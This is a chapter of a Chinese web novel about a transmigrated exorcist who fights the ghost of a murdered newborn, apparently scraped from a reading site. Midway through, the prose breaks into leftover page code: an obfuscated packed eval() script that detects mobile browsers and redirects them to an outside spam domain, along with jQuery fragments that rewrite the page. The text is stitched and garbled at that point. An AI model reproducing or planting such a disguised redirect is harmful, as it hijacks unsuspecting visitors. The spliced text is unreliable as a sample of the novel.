9. 第 9 章
作品:《娇气猫猫被迫驱邪》 这个世界是一本书。
但却不是赵恩以为的古早虐文。
原来作者写到一半,因为读者反应不好,临时改了大纲。
新版书名叫《抛弃薄情前夫后,我红拂夜奔了》。
女主朗纤一心痴恋严凛,嫁给了他,可严凛眼盲心瞎,对她不好,又阴差阳错致使她与男主金括有了孩子。
纸里包不住火,朗纤最终还是知道了孩子的生父身份。在金括的不懈求和、悉心照料下,她勇敢找回自我,跟严凛离婚,又因为要给孩子一个完整的家庭,转而嫁给了金括。
“两个月前,我做了个梦,梦里翻完了这本书。”严凛丝毫不顾窗外电闪雷鸣,语气格外阴冷,“我这才知道,那段时间我为什么会鬼迷心窍,对阿纤不闻不问……”
不是他禁不住诱惑,不是他见异思迁,不是他不想与朗纤琴瑟和鸣!
而是有一双无形的大手,压着他走上了既定的命运。
他活了三十年,第一次知道自己是书中人时没有崩溃,却在知晓未来情节后想要发疯。
朗纤本是他的妻子,本该爱他一辈子的!就因为那个孽种,让阿纤处处顾虑,让金括有了可趁之机!
他怎么能不恨?!
他怎么会默默服从这破书给他安排的狗屁命运?
清醒之后,他隐忍不发,因为朗纤肉眼可见地喜欢肚中的孩子,还以为这是他们的血脉,他不忍心叫她知道真相。
直到生产的那夜,他看着那孽种皱巴巴的脸,想到这就是导致他和阿纤分离的罪魁祸首,冷静地按照计划下了手。
他根本没有错,他除去的是作者加在朗纤身上的枷锁,又不是一条性命!
这人心态扭曲成这样,被仇恨和愤懑蒙蔽了神智,跟变态杀/人狂没什么区别。
然而在他看来,他如此疯狂的理由是正当的,说不定还是高尚的——他这样做,可是为了让朗纤摆脱作者禁锢,重获自由意志!
某种程度上,还真是这个道理。
赵恩嘴巴闭上又张开,不知道说什么好。
只能在心里怒吼:“系统你给我出来!连书名都不对,你给我穿的哪门子书?!”
天电系统却一点反应都没有,装死到底。
“……养兄,在书里,你也是必死的结局。”严凛像是坦白上头,一口气把所有真相都交代了:
“反正你活不了,我听了大师建议,把这孽种横死后产生的怨气都转移给了你,保我和阿纤住宅安宁。”
“但没想到,你居然没死,还找来了另外的天师。”
孙承恩当然不能说他是穿书的,面不改色道:“我命大了点,让你失望了,不好意思。”
“那个小鬼没死透,我找来的大师被它克死了。”严凛没接他的话,一对黑沉沉眼珠转而盯住赵恩,“你请来的这位赵天师,能对付它么?”
他刚才那番话泄露了太多天机,窗外天色俨然变成诡异的暗蓝,乌云彻底遮蔽了太阳,是最容易生阴气的天象。
赵恩还没来得及回答他,却忽然感知到朗纤身上的符咒发起热来,赶紧推开病房门冲去走廊。
只见走廊里的灯光闪烁不断,明明灭灭间,金括正一手掐住朗纤的脖子,试图将她举到半空。
他肢体充满矛盾,脖子梗着,双腿向内扭曲,另一只手奋力掰着箍在朗纤脖子上的手指,帮朗纤获得了一丝喘息的机会。
这人被小鬼阴气半控制,事不宜迟,赵恩召出树枝,一个箭步上前将朗纤扯离金括怀抱。
金括大手从朗纤背后探来,阴风袭到鼻尖,赵恩借力在半空中旋身,柔软腰肢扭出一个轻盈而凌厉的弧度,顺势将树枝刺进他胸前膻中穴。
男人周身淡淡的黑气被这一刺击散,壮实的身体颓然倒下,小山一样,在地板上撞出沉闷的声响。
赵恩没有放松,随手往他身上甩了一道符,继续严阵以待。果不其然,没过片刻,墙根的阴影里就钻出一个小小的身影,手脚并用冲向朗纤!
朗纤被吓得不轻,正坐在走廊椅子上休息,小鬼动作奇快,伴随着凄厉刺耳的笑声,眨眼就爬到了她腿边!
朗纤连尖叫都没了力气,愣愣看着那张咧着小嘴怪笑的鬼脸逼近,好在赵恩反应更快,一脚将小鬼踢飞出去。
今天有天公助力,小鬼阴气浓重无比,被击落时没怎么受伤。
但赵恩却敏锐地察觉到,它的力量不如从前了。
虽然她昨天收了这小鬼的尸骨,但小鬼也断了李天师的手、吞了他的修为,力量应该暴涨才对,怎会忽然消退?
对敌时她没空细想这个问题,只本能地利用现状,趁鬼病要鬼命,脚下轻点,拿着树枝狠狠刺向它。
树枝劈开虚空,带起桃木的清风,小鬼阴邪,不喜这股气息,下意识歪头避开风劲。
赵恩等的就是这一刻,她另一只手早在空中捏诀,此刻二指并拢,直直点在小鬼眉心。
以她玉白的二指指尖为起点,发光的咒文倾泻而出,将小鬼整个笼罩在束缚之下——这是早先画在纸上备着,就等要用的时刻飞越腾空成文的。
小鬼拼命吼叫挣扎,像案板上拼死跳动的鱼,但在咒文压制中,挣扎的动作逐渐越来越小,被彻底禁锢住了。
“魂魄异化,不可超度。”赵恩摇了摇头,这本来是个无辜的灵魂,但沾了太多血气,已经不可能再入轮回。
只能就地铲除了。
她收回手,在清原树枝上徐徐抚过一遍,本来看着粗糙原始的树枝前段顿时变得尖锐起来,隐隐有股肃杀之气。
“等等!”就在她提起这自制桃木剑、准备刺进小鬼身体时,朗纤忽地跑过来抱住她的手臂,泪如雨下:“赵小姐,能不能……留这孩子一命?”
赵恩有点无奈,她之前明明已经跟朗纤打过招呼了:“不能。这不是你孩子,这是个鬼,刚才它想杀你来着,你忘了?”
朗纤捂住脸,无力地滑落在地。
她挡在赵恩与小鬼中间,这一滑下去,身体就离小鬼更近了。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16130512|180278||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
赵恩忙拉着她起身,却还是有点晚,朗纤后背已经被小鬼尖利的手爪碰到,虽然只碰到了衣角,但朗纤后背还是火辣辣一阵刺痛,一个青黑的小手印从她后背皮肤上显现出来。
“小心!”一个母亲对身体里掉出来这团肉的包容与退让有多不可估量,赵恩算是领教了。她怕朗纤又心软,用力把朗纤推到一边,朗纤脚步踉跄,被从病房里追出来的严凛牢牢接住。
朗纤面色苍白如纸,就好像那个孽种真是她爱情的结晶,是她盼了多日甘愿为之去死的孩子。
严凛觉得她这个样子十分讽刺可笑,又觉得两人都可悲至极,眼中冷嘲自苦之意交杂,复杂难辨。
另一边,赵恩见这小鬼如此不老实,敢在自己眼皮底下作怪,心里也来了气。径直将手里的树枝小剑一甩,祭出杀招,生生劈开了那颗怪异的头颅。
一不做二不休,她口中喃喃念起金刚伏魔咒,手中捏诀,树枝脱离她的手,自动挥舞出猎猎风劲。
乍看之下,这桃枝清风乍看之下并不能耐,但每挨着小鬼周身一次,小鬼那浓重的阴气就被抽浅一分,不消五次,小鬼的轮廓就已经浅得看不出了。
孙承恩站在她身后看着,某个时刻挑了挑眉,却什么也没说。
一直到小鬼彻底消失,天色恢复正常,方圆十里再找不出一丝阴气,他才悠然道:“你这符画得不错,笔锋很漂亮。”
“那是!”赵恩本来心情不算好,被他这么一夸,尾巴又高高翘起来:“这可是我师父亲手传的,也不看看我师父是谁。”
刚拜入师父门下那会,她以为自己命不久矣,画符是她与玄门为数不多的链接,仿佛画符画得好,她就能晚些死,所以练得格外勤奋。
后来么……呃,后来她知道了师父的能耐,也知道了自己的天赋,随手一画亦可成法,就开始混了起来。
——她到底是家人师父宠大的嘛,天生不是个劳碌命,没有办法,咳咳。
孙承恩听她左一句师父,右一句师父,也不知道她这个师父是男是女,是老是少,便不由觉得这个称呼有些刺耳起来。
“你怎么总是张口闭口你师父?”他眯了眯眼道,“你师父又不在这。”
谄媚奉承给谁听呢。
赵恩瞪他:“谁说我师父不在这?师父一直在我心里!”
孙承恩简直想呕,都后悔开口夸她这么一遭了,径直转身,跟着严凛两人回病房去。
朗纤因为情绪过于激动,昏倒在了严凛怀里。她后背上还残留着小鬼的手印,看着有些瘆人,赵恩拿清原树枝沾了清水给她敷过一遍,说道:
“这印子要消得快,得叫她多晒晒太阳,放声大笑几声。否则还会有寻常孤魂野鬼被这印子的阴气吸来,麻烦着呢。”
严凛抬头。
“你在跟我说话?”
赵恩:“不然呢?”
“我以为你在跟金括说。”他扯动嘴角说,“你真的觉得,今后能陪在她身边、照顾她的人,还能是我么?”